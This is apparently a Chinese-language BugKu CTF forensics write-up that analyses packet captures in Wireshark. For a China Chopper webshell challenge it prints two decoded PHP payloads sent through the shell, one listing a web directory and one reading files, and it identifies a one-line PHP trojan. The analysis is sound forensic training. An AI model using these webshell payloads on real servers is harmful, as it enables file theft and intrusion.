BugKuCTF 分析.1

flag被盗

打开题目，发现文件是一个数据包，下载数据包

将下载下来的数据包用wareshark打开，往下滑，发现有一个post请求直接在这条数据包上右键追踪TCP流

发现flag

中国菜刀

下载压缩包，解压
打开数据包，发现第五条数据包有个post请求，在上面追踪TCP流，发现一船base64编码
复制，用在线编码解码，得到一段代码如下,它的作用是读取c:/wwwroot目录下所有文件、目录的名字、大小、权限、以及最后一次的修改时间

@ini_set("display_errors","0");
 @set_time_limit(0);
if(PHP_VERSION<'5.3.0'){ 
@set_magic_quotes_runtime(0);};
echo("X@Y"); 
$D='C:\\wwwroot\\'; 
$F=@opendir($D); 
if($F==NULL){
echo("ERROR:// Path Not Found Or No Permission!"); } 
else{
$M=NULL;
$L=NULL; 
while($N=@readdir($F)){
$P=$D.'/'.$N;
$T=@date("Y-m-d H:i:s",@filemtime($P)); 
@$E=substr(base_convert(@fileperms($P),10,8),-4);
$R="\t".$T."\t".@filesize($P)."\t".$E."\n"; 
if(@is_dir($P))$M.=$N."/".$R; 
else $L.=$N.$R; }
echo $M.$L; 
@closedir($F); }; 
echo("X@Y"); 
die();

继续向下分析，在下一个数据包里面发现了一个flag.tar.gz文件继续向下分析，又发现一个post请求，追踪TCP流，将其中的base64解码一下，代码如下，可以看到，它是用来读取3.php的内容的

@ini_set("display_errors","0");
@set_time_limit(0);
if(PHP_VERSION<'5.3.0'){
@set_magic_quotes_runtime(0);};
echo("X@Y");
$F='C:\\wwwroot\\3.php';
$P=@fopen($F,'r');
echo(@fread($P,filesize($F)));
@fclose($P);;
echo("X@Y");
die();

在下个数据包中看到3.php是一句话木马，
继续分析将下一个数据包中的base64解码，发现是读取flag.tar,gz文件内容的
，那么下一个数据包可能就能得到flag了
由于flag.tar,gz是个压缩包，所以我们需要将字节流用压缩包格式查看，找到下一个数据包，在最下方右键显示分组字节流
将其解码为压缩包，由于要使X@Y不可见，所以设置开始为3，解码后即出现flag